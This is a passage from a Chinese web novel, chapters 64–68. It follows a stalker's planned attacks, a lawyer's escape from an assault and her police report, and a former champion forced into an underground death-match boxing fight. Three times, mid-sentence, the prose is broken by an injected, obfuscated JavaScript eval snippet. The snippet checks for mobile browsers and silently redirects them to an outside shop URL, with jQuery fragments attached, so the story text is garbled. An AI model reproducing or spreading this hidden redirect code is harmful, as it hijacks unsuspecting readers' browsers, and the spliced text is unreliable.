康嫣然独自出门的时候变多了,能下手的机会也就多了。 余琛一走,林茜下班后也几乎是一个人。 姚佳莉生活不规律,不过被他摸清了每周三她都会去楼下的披萨店。雷劲推测,她作为健身博主,饮食控制一定很严格。他装作食客进去看过一次,姚佳莉点的不多,一人份而已,大约是每周的欺骗餐。 也就是说,针对这三个人的动手机会,都被他摸到了。 真是好消息。 明天,就是动手的日子了。 雷劲抛起手中的一枚硬币,字是林茜,花是康嫣然。 雷劲盯紧空中旋转的硬币,看哪一面先落在眼前。 65. 第 65 章 林茜今天总有种不祥的预感,说不清是什么,就是心里不踏实。 看着面前的卷宗,难得有些晃神。或许是在担心余琛吧,今天是他的第一场比赛。 林茜拿起手机看了看,没有新的消息。又放下,过了一会,还是给余琛发了一条:“比赛加油!结束后和我说一声,不要受伤。”然后再次投入到工作里。 18号她也要飞泰国了,还有几天的时间,把手头的工作收一收尾。 不料下午有新客户来访,这次是个民事案件,又是经济纠纷中掺杂了感情纠纷。巧的是,就是之前那位让林茜冒险受伤又赚了两百多万的杨女士介绍来的。 新客户听从朋友建议,点名要咨询林茜。林茜带上何婧去接待,聊得十分顺利。 “林律师,敬熙的案子你办得很漂亮,她对你赞不绝口。说你敢想敢拼,现在我也把我的案子拜托给你了。”李女士目光炯炯地说。 “您放心,我会尽力的。”林茜诚恳回应。 民事案件没有公安侦查和检察院审查起诉的阶段,直接等法院排期开庭就行。这个案件刚刚立案,等开庭估计要元旦以后了,时间充裕。 林茜和何婧各自分了一部分材料,交换着看完。案情不复杂,争议金额又很高,律师费也相应地水涨船高,正是律师最喜欢的优质案件。 连何婧都很兴奋,这回完全是因为当事人信任,这个香饽饽才落到她们头上,不枉费老板之前那么拼,也算从前的努力又结了一次果。 案件的准备工作布置给何婧,林茜着重理了理其中的关键节点和法律关系。忙完已经7点多了,林茜收拾东西准备回家。 还有十来天就是圣诞节了,写字楼的大堂里立起了一颗高大的圣诞树。 按林茜的经验,这时候大楼的物业服务台应该已经准备好了卡片,感兴趣的人可以写一张挂在上面,节日当天物业会随机抽取一个幸运儿满足他/她的愿望。 快到旋转门时,林茜停下脚步,又折返往服务台的方向走过去,和值班的人要了一张金色卡片,展开后写了一行:“希望阿琛平安。” 林茜踮起脚尖,挂在了很高很高的树枝上,好像挂得越高,保佑得范围就越大。 之后照常坐地铁,回家。 一个黑瘦的人影从旁边的咖啡厅里闪出,装作不经意地跟了上去。 7点半是晚高峰的尾巴了,地铁里的人还是很多,空气不够流通,林茜感到有些气闷。 出站后深呼吸几下,才感觉头脑清明了些,快步往自己家走去。 走着走着,熟悉的幻觉又来了,那种有人跟着自己的幻觉,每到主街拐到小区的那段小路时都格外明显。 可是今天尤其强烈,简直不像幻觉了。林茜一向胆大,此刻心里也有些发毛,脚下的步子又加快了些。 两侧的路灯年久失修,光线十分昏暗。高大的梧桐树已经掉光了叶子,枝杈的剪影投到地上,像黑色的蛛网。 就在这密密的蛛网中,悄无声息地出现了一个不规则的圆影。林茜心里提起十二分警惕,敏锐地发现这个圆影貌似也在移动。 是人。 有人在跟着她,不是错觉。 前面还有500米就到小区的大门了。冬夜寒冷,今天路上的行人格外少,此刻就是动手的好时机。 林茜心思飞速旋转,她动作很轻地从包里摸出钥匙,攥紧拳头,钥匙的尖头卡在中指和无名指之间,用来防御。下班前习惯换上的平底鞋,此刻可以帮助她逃跑。 四下都很平静,可空气里有种剑拔弩张的紧迫。 是误会吗?会不会只是一个普通的路人,被自己误以为是居心不良?他会动手吗?这段路不算近,林茜犹豫着要不要直接跑回小区。 就在这紧张的时刻,林茜注意到圆影的速度加快了,几乎是一瞬间就到了自己旁边。 林茜全身的汗毛都竖了起来,迅速往旁边一闪,看到一张带着口罩的脸。 可那双眼睛,林茜不会判断错,就是冲着自己来的。 一双凶戾阴狠的眼睛,是个男人。 来人显然知道自己被发现了,伸手就要抓林茜。林茜拿背包一抡,挡过了这一下就要跑。 男人的另一只手又马上伸过来,林茜躲闪不及,被抓到肩膀。 那人手劲极大,往回一拽,林茜被拽了个趔趄。 好在林茜反应快,冬天的大衣厚,林茜是敞开穿的,扔了背包迅速脱下大衣,摆脱了男人的控制。 这人根本没打算放林茜走,又一爪伸过来,所幸林茜练过一段时间的拳击,虽然是花拳绣腿,可格斗意识在此刻救了她。 她下意识地知道男人一定会从这个方向来抓他,反手就是一拳,这一拳使出了十分的力气。而那拳头中间,还夹着一个尖锐的钥匙头。 那人却异常灵活,头一闪竟然躲过了这拳,只是被拳面擦到了一点。不幸的是,有什么冰冷坚硬的东西插在拳头上,也顺着他的脸划出了长长的一道。 男人显然没想到有这一招,有一瞬间的错愕。就在这一瞬间,林茜拼了命往前面跑去,正是地铁站的方向。 后面的脚步声毫不掩饰地跟了上来,林茜只顾往前跑,希望能逃过这一劫。 也是她命大,就她几乎能听到后面人的喘息声的时候,迎面驶来了一辆车,远光灯照得她睁不开眼,可她完全不敢降低速度,也不敢停下来求救。 此刻她谁也不信,万一他们是一伙的呢? 一路跑到主街,跑进地铁站。一个衣着单薄的女人在冬夜里狂奔,引起不少路人注意,林茜顾不上这些,一直跑到安检处,向工作人员求救。 “同志……有人在追我……麻烦报警。”林茜上气不接下气地对着工作人员说。 工作人员狐疑地往后看了一眼,没人啊。 又看林茜脸色苍白,嘴唇发抖,大冬天地只穿一件衬衣,不会有什么精神问题吧? “同志,”林茜还想再说,可看见工作人员的反应,明显是不相信自己。林茜鼓起勇气回头看了看,没看见刚才那个人。或许他到人多的地方就不敢追了。 可她也不敢出去。 林茜想拿手机,突然想起手机在包里,包已经扔了。 “同志,我确实碰上危险了,能不能借你的手机用一下,我打个电话就还你。就在这打。”林茜又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043481|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 工作人员有点迟疑,但还是把手机借给了她。 林茜记得关昊和姚佳莉的号码。这种情况,打给关昊最合适。 电话响了几声才接通:“喂,谁啊?” “关昊,是我,林茜。”这一番惊心动魄,林茜的声音有些颤抖。 “茜茜,你换手机号了?”关昊在那头问。 “关昊,我遇到危险了,有人跟踪我。我跑进地铁站里,现在是借的地铁工作人员的手机。你能不能过来接我?我在芍药居地铁A口处的安检这里。” “你等着,我马上到!” 关昊也听出了林茜话里的不对劲,话虽然说得清楚,可语气里的惊慌是他从没见过的。 这一路车开得飞快,一想到林茜有危险,他什么都顾不上了。 林茜不敢走远,就站在安检处侧面,避开了行人。呼吸慢慢平稳下来,可精神不敢放松,生怕那个人混在安检的人里,不知什么时候就把她拽过去。 身上越来越冷,也有点站不住了。林茜慢慢蹲下,努力保持着神志清明。 不知过了多久,突然听到一声大喊:“林茜!” 是关昊的声音。 林茜赶忙站起身,刚一招手,就眼前一黑,倒了下去。 8点半,地铁站里已经没那么多人了,关昊一眼看到林茜软软地栽了下去,飞奔过去堪堪接住了她。 “林茜!”关昊着急地叫着她,轻轻拍了拍她的脸。她不知在这等了多久,人已经冻透了。 关昊此刻抱着她,才感觉她是那么单薄,像一片树叶,好像风一吹就会飘走。 “快叫救护车!”关昊一抬头看见围观的工作人员,大吼道。 站里有人晕倒了,救助也是他们的分内事,此刻赶紧打120。又拿着一块巧克力走过来,提醒看看是不是低血糖之类的,毕竟这种情况时有发生。 关昊担心她是受了什么袭击,接过巧克力后抱着她去了工作人员的休息室,简单查了查全身,没看到什么外伤。 只是检查到手部时,看到林茜的拳头一直紧握着,手指之间还有一个钥匙头。关昊托着林茜的手在灯光下仔细看了看,金属的钥匙头上有一丝干涸的血迹。 关昊心里一阵后怕。 林茜醒了,嘴里哼着什么。 “茜茜,你怎么样?受伤了吗?”关昊抱起林茜,让她靠在自己身上。 “没有。”林茜虚弱地答着,看到关昊手里的巧克力,伸手去拿。 关昊会意,赶紧撕了包装,喂给林茜吃。 林茜慢慢吃完一板巧克力,恢复了一点精神。 “应该是蓄谋的。我之前有过被跟踪的感觉,但一直没发现。今天他动手了,穿着连帽衫,带上了帽子,还有口罩,力气很大,动作很敏捷,是冲着我来的,可我不认识这个人。”林茜坐在椅子上对关昊说道。 “你受伤了吗?”关昊蹲在她面前轻声问。 “没有,我要去报案。可惜他动手的那段路没有监控,可能没什么线索。”林茜又低下头。 “茜茜,”关昊扶住她两侧肩膀,看着她的眼睛:“有我在,我一定抓住他。” 66. 第 66 章 关昊再三确认林茜没事后取消了救护车,还是不放心:“要不你再去医院检查一下呢?” 林茜:“我真的没事,就是刚刚有些低血糖。”犹豫了下又说道:“我的包和外套都丢在现场了,不知道还在不在。” 关昊果断道:“这好办。先电话报警,我陪你去现场看看,也能大概圈出个范围,保护一下现场。” 林茜的手机没了,关昊用自己的电话拨了110,和接线员说明情况,请求出警查探。又把自己的身份和警号一并报了上去。 之后从办公室的抽纸里抽出几张:“条件简陋,只能将就了。你手里那个钥匙,拿出来吧。” 林茜才发觉自己的右手一直紧握着,此刻慢慢松开,手已经酸了。 关昊知道她面上平静,其实心里还紧绷着,所以到现在才提出来。关昊拿着纸慢慢接过钥匙,用纸巾完全包裹住,裹了好几层后放进了自己的口袋里。 “我看上面有点血迹,是那个人的吗?”关昊小心地问。 “嗯。”林茜点头。 “行,咱们走吧。” 两人出地铁站后上了关昊的车,看着车窗上贴着的罚单,林茜有些歉意:“回头我来交罚款吧。” 关昊不在意地问道:“交一辈子吗?” 林茜一时没反应过来,关昊笑了笑,帮她打开车门,催她上车。 地铁站离林茜的小区很近,车子离开主路后没开多远就到了那条昏暗的小路。 关昊皱眉:“之前来我就发现了,这条路太黑,街道又老没有监控,有安全隐患。” 靠边停下,关昊解开安全带,正要下车,往旁边一看,林茜还坐在座位上,没有动。 “怎么了?”关昊问道。 林茜罕见地有些迟疑:“要不,我们等警察来了再去看?” 关昊看着林茜,双手紧握在一起,两条腿也并拢着,背有些僵直,整个人还处在防御状态里。 “茜茜,你是不是害怕?”关昊握住了林茜的手,轻声问。 林茜颤抖了一下,没抽出来。她很怕,也很冷。身上虽然披着关昊的外套,可恐惧依然如影随形,手上的这一点点温度好像带来一点虚幻的安全感。 林茜低下头,没有说话。 关昊看在眼里,满腔心疼。一伸手勾住林茜的脖子,把她抱住。 林茜吓了一跳,惊呼出声。关昊另一只手拍着林茜的背,轻声安抚:“没事,别怕,没事了……” 过了几分钟,林茜终于镇定下来,直起身对着关昊说:“对不起,我看到这条路,这些树影,又想起了刚刚的场景。我觉得很冷,腿也不太听使唤了。我还记得他那双眼睛,好像要把我整个人吞掉,我实在害怕。” 关昊又握住了她的手:“别怕,有我呢。” 林茜的手很凉,好像怎么也捂不热。关昊两只手都伸过来,把林茜的手包裹住,低头说道:“不想下车咱就不下了,在这看也一样的。我开着车灯,有什么异样都能看见。”说着捧起林茜的手呵了口气:“也是冻坏了,这么冷的天,你就穿件衬衫在外面那么久。” 林茜心底一阵感激,她之前的判断没错,即便她们离婚了,她也还是确定,关昊是个好人。 两个人就这么静静地坐在车里。关昊把暖气开足,车里的温度很快升上来。 关昊没问刚刚的细节,这些情况一会她还要去公安局说一遍的。自己就不问了,免得她一遍遍想起又陷入恐惧。 等了半个多小时,有警员来了。关昊和林茜下车,林茜和警察描述了遇袭的经过,指出了和对方拉扯的地点。背包和外套果然都没有了。 偶尔有归家的车辆行人经过。警员拉了条警戒线,打着手电在四周细细检查。 可惜的是,这条路上没有监控,现场又没有第一时间保护起来,柏油路上本就不容易留下痕迹,后来经过别人踩踏,已经收集不到什么有效的线索了。 虽然是意料之中,林茜也微微有些失望。关昊在身边看着林茜的神色,安慰她道:“不用担心,这条路走不通,就换一条,从你的人际关系入手,总能找到突破点的。” 林茜点点头,和警察回局里做笔录。 关昊报警时自称家属,又是警察,接待的警员就让他也坐在旁边。 林茜尽量平静地叙述着事情的经过,说到被抓到肩膀时,关昊的心又一次提了起来。 万一她穿的不是大衣,万一大衣是系扣的,后果都不堪设想。 警察又问她有没有什么怀疑的对象,林茜摇摇头。 关昊问:“会不会和你办的案子有关?” 不只余琛,林茜上次遇袭同样也给关昊留下了深刻的印象。 林茜蓦然想起下午新接的案子。会是李女士的对家吗?林茜略一思索否认了这个想法。 这个案子接了才没几个小时,对家知不知道这回事都难说。即便对家真有心这么办,也需要时间准备,这么仓促恐怕来不及。 最重要的是,她之前就有过被跟踪的感觉。这次遇袭也感到对方是有备而来。而之前她还不认识李女士。 关昊观察着她的神色:“是不是想到了什么?” 林茜摇摇头。如果说出李女士的案子,即便自己认为不是,警方也会去找她核实。李女士很在意隐私,她交代的事情还没办妥,就先给她找了麻烦,这不是林茜想看见的。 关昊看出林茜有所隐瞒,可此时也不忍心逼问她,缓和地劝道:“想到什么都可以说,多离谱都没关系,我们会去查证。” “最近的案子都很中规中矩,没什么可疑的。”林茜回道。 “行。那回去等消息吧。”做完笔录,接待的警员说道。 没查到什么线索,当事人这边也没给出有效信息。只能大海捞针了。 像林茜这种案子,没受到实际伤害,路上也没监控。唯一可能证明有事情发生的就是那个带血的钥匙,已经被警察留下了。 年底正是警力紧张的时候,关昊已经预见到这个案子的走向,林茜那本薄薄的卷宗被排在后面,排期查案。 关昊还在做最后的努力:“茜茜,你再想想呢?现在是记忆最清晰的时候,想到什么都可以说。” 林茜已经有些排斥了,这个晚上回忆了太多次遇袭的经过,在现场,在警局。她不愿再陷入那段恐惧的记忆了。 警察也劝道:“想不起来你逼她也没用。什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050228|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候想到了,可以再过来。” 墙上的时钟已经指向10点,折腾了一晚上,人困马乏。尤其林茜,完全是靠意志在撑着了。 关昊带着林茜出了接待室,没直接回去,而是让她坐在休息区的沙发上。关昊蹲在林茜面上,微微抬起头,看着林茜的眼睛认真说道:“茜茜,你不能回你住的地方了。” 林茜说:“我知道。我在算在律所附近找个宾馆,之后靠网约车上下班,这样对方就没有下手的机会了。” “你住到我那吧,以后我送你上下班。”关昊直接说道。 “不用了。”林茜拒绝。 “茜茜,我是认真的。对方有备而来,一定提前踩过点。你每天固定出现的地方不是单位就是家里。现在家不回了,那就只剩单位一个地方他能蹲守。我送你去,既是震慑,也能顺便观察周围的情况,只要他出现,我能察觉到。”关昊认真地说。 “可是……”林茜有点犹豫。 “你是不是怕余琛不高兴?”关昊试探着问。他心里这个疑惑有一会了,出了这么大的事,余琛呢? “他不会的。”林茜回道。 林茜还是觉得住到关昊家不太好:“下周二我就要去泰国了,律所组织的团建。只剩这么几天,应该没事吧。”林茜心里有丝侥幸。 “宾馆毕竟不方便,如果你要回家拿东西,不是又落单?既然只有几天,那住到我那有什么不可以呢?我住书房,保证不打扰你。”关昊还是坚持。 林茜答应下来:“那麻烦你了。” “不麻烦!”关昊高兴地直起身,扶起林茜出了公安局。 回去的车上,林茜脑子里盘算着明天的计划。她的手机、身份证、律师证都在背包里,丢了很麻烦。要赶快补办。 关昊心里则惦记着另一件事,假装不在意地问道:“今天的事,你要和余琛说一声吗?” “不了,他在外面比赛,没在北京。”林茜低声答道。就不要让他担心了吧。可惜自己手机没了,不知道他现在情况怎么样。 余琛那边,情况也不太好。 晚上7点,余琛来到赛场。何广生不是选手,要等8点开赛前才能进去。 还是熟悉的地方,可余琛随着工作人员进了电梯后,不对劲了。 赛场在3楼,工作人员却按了B2。 余琛问怎么回事,对方只说这是今年的安排。 出了电梯,余琛心里提起戒备,跟着工作人员穿过一条长长的走廊,看到一扇朱红的门。 门口还有两个彪形大汉,一看就是练家子。 余琛用眼神询问侍者,侍者则比了个“请”的手势。 其中一个彪形大汉推开门,热烈的气氛扑面而来,带着燥热与血腥。 余琛一眼看到会场正中的八角笼,不同的是,这个八角笼的各个面,是两米多高的铁丝网。 一个人正在八角笼中的各个边缘游走,振臂欢呼,尽情释放自己的狂喜与力量。 而另一个人躺在地上,看不出胸膛还有没有起伏。 这不是泰拳协会举办的周五格斗夜,这是地下黑拳赛。 而且是,只有彻底决出胜负才能离场的,生死拳。 67. 第 67 章 台上的胜者已经走出八角笼,正面向全场观众享受最后的荣光。两个身材矮小但敦实的工作人员进到笼中,把地上的人抬出来,像在搬运什么寻常物品。又走进去两个服务员打扫擂台上的血迹。 这一幕唤起余琛久远的回忆,彼时他刚学拳一年,在拳馆一边打工一边练拳,生活很拮据。 老板看他天资好,有意栽培他。可培养一个拳手是有成本的。有一天,老板问他:“琛,你想不想赚快钱?” 那天晚上老板带他去了一个酒吧,从外面看只是一家普普通通的夜店,可穿过一条走廊又下到地下两层后,余琛看到另一个世界。 主持人讲着一口标准的英语,偶尔夹杂几个泰国人名,极具煽动性地大声介绍着下面要出场的选手,是一位年轻的父亲,因为要给女儿治病所以来到这里,挑战上一期的擂主——光头铁拳帕查。 全场响起热烈的欢呼声。年轻的拳手上场,看起来比余琛还要小几岁。 余琛虽然学拳不久,也看出这个小伙子是个新手,拳法粗糙,闪避不够敏捷,又欠缺经验,场上很快就变成单方面碾压的态势。 年轻拳手徒劳地拍打着地面,这是拳手认输的手势,可惜只在正规比赛中被认可。帕查越打越兴奋,一拳又一拳落到年轻人的脸上,余琛眼看着拳手的鼻梁塌下去了,血糊了一脸。 余琛愤怒又急迫地问老板:“为什么裁判不叫停?他已经认输了!” 老板则意味深长地看了余琛一眼:“这里没有认输这个词,只有生存或毁灭。” 这是余琛看过的第一场地下拳赛,也是唯一一场。 那个年轻的拳手被抬了下去,就像刚刚被抬下去的人一样,不知死活,也没有人记得。 余琛的表情让门口的两个彪形大汉很满意,他们见过太多来这里的拳手了,有来碰运气的,也有走投无路的,每年都能有一两个杀出重围名利双收的,更多的则是寂寂无名地消失了。今天有不少人都押了他,他们很期待他的表现。 近乎炫耀地展示完会场内的情景,一个大汉关上了门,指了指左手边的方向,那是拳手上台前准备的地方。 “我想这其中有什么误会。我是来参加泰拳协会举办的周五格斗夜的。”余琛和侍者交涉。 侍者则表示自己没有权限和他谈判,可以去后台和经理聊。 到了后台,果然看到了经理。 余琛和他谈了几句,明白这件事已经没有回转的余地。对方手里甚至有他的授权,虽然不知道是哪个环节出的问题,可现在没有退路了。 经理显然是听过余琛的,此刻有些兴奋:“五年前重量级金腰带得主,余琛先生,今晚有很多观众是冲着您来的,我们期待您的表现。” 余琛身高1米88,体重常年在80-85公斤,泰拳的最高量级是79.4公斤以上,余琛一直都是重量级选手。也是地下观众偏爱的大块头选手。 余琛做着赛前最后的热身,今晚无论如何,都要走出去,林茜还在等他。 可直到站到场上,余琛才知道什么是真正的大块头。 对方身高接近两米,体重至少在120公斤以上,余琛在他的衬托下都显得瘦弱了起来。 全场的兴奋度明显上升了几个量级,还没开打,已经有观众开始欢呼。 余琛以重炮手成名,如今碰上比他更大个头的重炮手,真是让人血脉贲张。 一个坐在轮椅上的白人老头话都说不利索了,还挥舞着拳头试图加入这场热战。 但这些余琛都看不到了。 全场的聚光灯都打在八角笼里。他看不清四周的面孔,只能看到对手眼里的挑衅与贪婪。 这一场的赌注一定相当高昂。 大块头仗着身高臂展的优势,不断进攻,拳狠威重。余琛不停躲闪,打得颇为被动。场下的观众显然不满意,他们想看到的是昔日的王者归来,和对方硬碰硬,来一场拳拳到肉的较量。 主持人也不住地在旁边煽动情绪:“让我们看看,时隔五年,最大量级的金腰带得主是不是连一个初出茅庐的新人都打不过了?” “也许他的金腰带已经生锈了,啧啧!” “哦这一拳的威力真重,我猜我们曾经的拳王会肿成猪头!” “余琛先生,请拿出你的实力来,在这里,下跪是不管用的!” 随着主持人的煽风点火,押注余琛的观众开始愤怒,辱骂声与叫嚷声不断,都直指余琛。 台下有个微弱的声音在不断辩解,很快被淹没。 几个回合后,余琛慢慢摸清了对方的节奏。大块头的确是初出茅庐,但资质很好。大体重,但难得灵活。力量与敏捷兼具,只欠一点经验。 余琛调整着呼吸,窥准时机使出一记刺拳佯攻,对方果然防守。就在对方格挡的时候,余琛变换步法,猛转腰髋上前一步,右手一记摆拳直中对方左腮。 场下爆发出一阵热烈的欢呼,主持人也一改刚刚刻薄的语气,对余琛大加赞扬。 这一拳明显激怒了对方,大块头进攻变得更密集,出手也更狠。地下比赛没有时间限制,这样紧张万分的时刻,每一秒都格外漫长,对双方的体力也都是巨大的消耗。 大块头约莫二十出头,正是年轻力壮的时候,毫不吝惜自己的体力,余琛则还是防守为主,找时机做有效进攻。 明明是两个重炮手,比赛却打得并不激烈,反而有些胶着。刚刚那一拳带来的兴奋感已经消失,观众又躁动起来。 大块头的心态明显被影响了,这场比赛的奖金很高,他不只要赢,还要赢得漂亮。 他做过功课,余琛拿拳王已经是五年前了,这之后他再也没有参加过比赛。长期缺少实战经验,又已经年过三十,怎么看都是自己胜算大。 大块头又发起新一轮的进攻。 余琛却看出他的攻势不比之前了,回撤的速度也慢了些。余琛故意在右边露出一个破绽,大块头一记直拳就打了过来,余琛趁势转身,一个左勾拳命中对方后脑与脖颈的连接处。 大块头直直倒下,不省人事。 这是强烈撞击产生的轻微脑震荡。 裁判在旁边倒数,10秒之后大块头依然毫无反应。裁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062525|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 判举起了余琛的手。 场上爆发出铺天盖地的欢呼声。白人老头涨的满脸通红,叫嚷着自己都听不清的话语,仿佛打败大块头的是他自己。 余琛毫无快意,鞠躬退场。临走前,看了大块头一眼,还趴在地上。以他的经验,几分钟后他会慢慢清醒。 回到后台没多久,门口传来一阵吵闹,声音还有点耳熟。余琛走过去打开门,就看到一个高大的保安揪着何广生的领子,正把他怼在墙上。 余琛过去一把推开了保安,保安正要出手,认出他是刚刚台上的赢家,瞪了他一眼走了。 “怎么回事?他打你吗?”余琛问。 “不是不是,刚才台下有人骂你,我替你说了几句话,被几个人揍了……”何广生说着就有点底气不足。 今天他们明显是被人坑了。明明来参加的是正规比赛,结果何广生一入场就发现不对劲。这不是地下黑拳吗? 他想出去找负责人,发现根本没人理他。 想去后台找琛哥,被保安拦着不让进。 比赛马上要开始了,阿生没办法又回到会场,他得看着琛哥。 大块头一上来阿生心都凉了。都知道一力降十会,而且力气大的人往往也抗揍,简直双重bug。比赛开始打得不顺利,阿生恨不得上去帮忙。 这时候旁边开始有人辱骂余琛,说这条臭虫让自己赔钱,好死不死说得还是广东话,何广生听得懂,立刻冲过去跟他对骂。对方人多势众,台上打得胶着,台下倒是一边倒。 所幸打得也不重,都是些皮肉伤。何广生跟着余琛练拳好几年了,这点伤也不算什么。 倒是余琛挨了大块头好几下,不知道伤得怎么样。阿生问起余琛的伤势。 余琛:“没事,没受什么伤,只是体能消耗比较大。我们赶紧离开这里。” “好的琛哥,你换好衣服咱就走!” 话还没落地,经理又出现了,笑眯眯地说:“余先生休息得怎么样了?您的第二个对手已经在等您了。” 何广生一听就急了:“不是只有一场吗?怎么还有第二个选手?!” 经理不慌不忙道:“通常是只有一场。但是余先生的押注率高,我们额外加了一场。这一场,提前已经知会过您的联络人。” 雷劲?问题出在雷劲这? 雷劲有问题。余琛敏锐地意识到。 昌叔那边已经很久没有消息了。余琛后来又问过几次,辣蛇派去北京的人查到没有。昌叔都说还在排查,没有进展。 难道是雷劲? “你马上通知林茜,小心雷劲。”余琛对何广生说。 他现在最担心林茜的安危。 何广生对辣蛇的事了解不多,此刻还一头雾水。 “照做!”余琛难得疾言厉色。 “哦,好。那你现在怎么办?”何广生问道,眼下已经火烧眉毛了。 经理进来后没有关门,余琛看着门外几个高大的身影,问经理:“这是最后一场吗?” 经理客气地答道:“如果您没有续约的计划,这就是最后一场。” 68. 第 68 章 余琛又来到场上。看到来人,竟然是旧识。 7年前,他们交过手,在一场非正式比赛上。南潘个子不高,黑黑瘦瘦的,乍一看和雷劲有几分像。 之前那次交手,南潘甚至还没摸到余琛的衣角,就被轻松KO。后来他因为故意伤人被判了三年。泰国崇尚泰拳,南潘在监狱组织的拳赛中拔得头筹,获得减刑,5年前出狱。 之后就一直打地下拳赛。他心狠手黑,打起来不要命,正规拳赛中他有诸多限制,混地下却如鱼得水。 余琛拿到金腰带的那年,正值政府严厉打击地下拳赛。余琛作为新晋拳王,也在联名书上签了字。 余琛不知道的是,这件事却让南潘记恨许久。在他眼里,余琛这种人自己名利双收不够,还要踢翻别人的饭碗,让人没饭吃。实在可恶。 南潘是两年前认识雷劲的。或许是气味相投,两人一拍即合。 两个月前雷劲找上南潘提出自己的计划时,南潘毫不迟疑地答应了。 南潘,才是雷劲送给余琛的礼物。 刚刚和大块头的一番恶战,余琛体力消耗极大。但南潘身高不足1米7,又和余琛有巨大的差距,主办方安排这两人对战,不知是何用意。 难道想看余琛单方面虐打? 余琛心中存疑,保持警惕。南潘却看起来很兴奋。 比赛的哨声响起,胖胖的裁判从两人中间退出,南潘迅速蹿了上来,对着余琛就是一甩。 余琛这才看清,不知什么时候,南潘手里多了一根伸缩棍。 这是一场有武器对赤手空拳的比拼。 锰钢质地的伸缩棍在聚光灯泛着冰冷的金属光泽,余琛因为体能消耗太大,闪躲不够及时,细细的第一节棍身抽在身上,浮现出一道血痕。 “OH!KILLHIM!”轮椅上的白人老头大声叫着。上一场他还是余琛的忠实粉丝,这一场他就倒戈南潘。 以弱胜强,绝地反击,血腥杀戮,都是他的挚爱。 何广生在台下急地团团转,完全忘了余琛赛前的叮嘱。 有什么比老大的命更重要呢? 10点半,林茜离婚后第一次回到原来的家。 当初的个人用品完全处理掉了。林茜实在不想在漆黑的夜晚再走一遍那条小路,也没回家拿东西。 直到进了门,才发觉自己实在疏忽了。今天还是应该在住宾馆的。 关昊殷勤地拿出拖鞋,让林茜换上。 可惜这双拖鞋是关妈的,她只有1米56,鞋码比林茜小两个号。 林茜有些为难地看着关昊,关昊还没发现问题。 林茜无奈,打开鞋柜上层的抽屉,从里面拿出一双一次性拖鞋。还好,之前为了应急放进去的,还在。 关昊有些讪讪,不明白她为什么忽然疏远自己。 难道有了男朋友,要避嫌了? 林茜看着关昊的模样,不知他又在想些什么。不过这些都不重要了,她实在已经筋疲力尽。 “这几天我睡书房吧。”林茜说道。 “不用,你住主卧就行。”怎么能让女孩子睡书房呢?关昊心想,他一个大老爷们,占着主卧多不好意思,他睡沙发都行。 “房间小一点,我更有安全感。” “啊?哦。”没想到林茜会这么说,关昊小心地问:“你是不是还害怕?” “有一点。” “那,我……”可以守在你身边。关昊还没说出口,林茜已经把话接过去:“你早点休息,我先进去了。” 很累,眼皮已经越来越沉重,可精神还没有完全放松下来。这样即使能睡着,也会做一堆乱七八糟的梦。 得洗个热水澡,可是没有换洗衣物。林茜想看看24小时的便利店有什么可以叫跑腿送的,又想起自己的手机没了。 林茜叹了口气,又打开门。关昊还在客厅里坐着,见林茜出来了,忙站起来:“怎么了茜茜?” “能不能借你的手机用一下,我想买点东西。” “哦。”关昊掏出手机递给林茜。 林茜熟练地输入开屏密码,解锁了屏幕。打开外卖软件,看看有什么可买的。睡衣、洗漱用品、还想喝一点牛奶……乱七八糟选了一堆,结账的时候想起这是关昊的手机,又拿过去请关昊付款。 “麻烦你付一下吧。” “你跟我这么客气干什么,还是之前的密码。”关昊说着还是接过了手机,直接刷脸付了。 跳到付款页面前,关昊扫了一眼林茜买的东西,都是些生活用品。心里暗暗拍自己的脑门,怎么把这个给忘了。 “那个,有什么缺的东西,你跟我说就行。”关昊说道。 “应急的东西我都买了,明天可能要回趟家。下班后回就行,得麻烦你陪我去一趟。” “这不都是应该的吗?茜茜,你能不能别跟我这么客气,我有点不习惯。”关昊摸着后脑勺说,顿了顿又想起来:“明天不是周末吗?” “哦,我忘记了。那下午过去吧。”之后就安静下来,神色疲惫。 “东西还没到,你也不方便洗澡吧。先在沙发上休息一会,折腾一晚上了,累了吧。”关昊说。 林茜从善如流,挨着沙发的扶手坐了下来,靠在椅背上。这个沙发还是当年她亲自去家居城选的,很柔软。林茜整个人陷在里面,很快就闭上了眼睛。 余琛还在与南潘鏖战。 第二场比赛远比第一场要酷烈的多。余琛的身上遍布触目惊心的伤痕,场内的兴奋度却有增无减。 比起第一场近乎正规比赛的发挥,这一场的血腥与残忍显然更符合观众的口味。 南潘手持武器,依然占不到上风。缠斗许久,他的耐心已经耗尽了。南潘看着余琛,眸色变狠:这是生死拳,生或死,都是他的命。 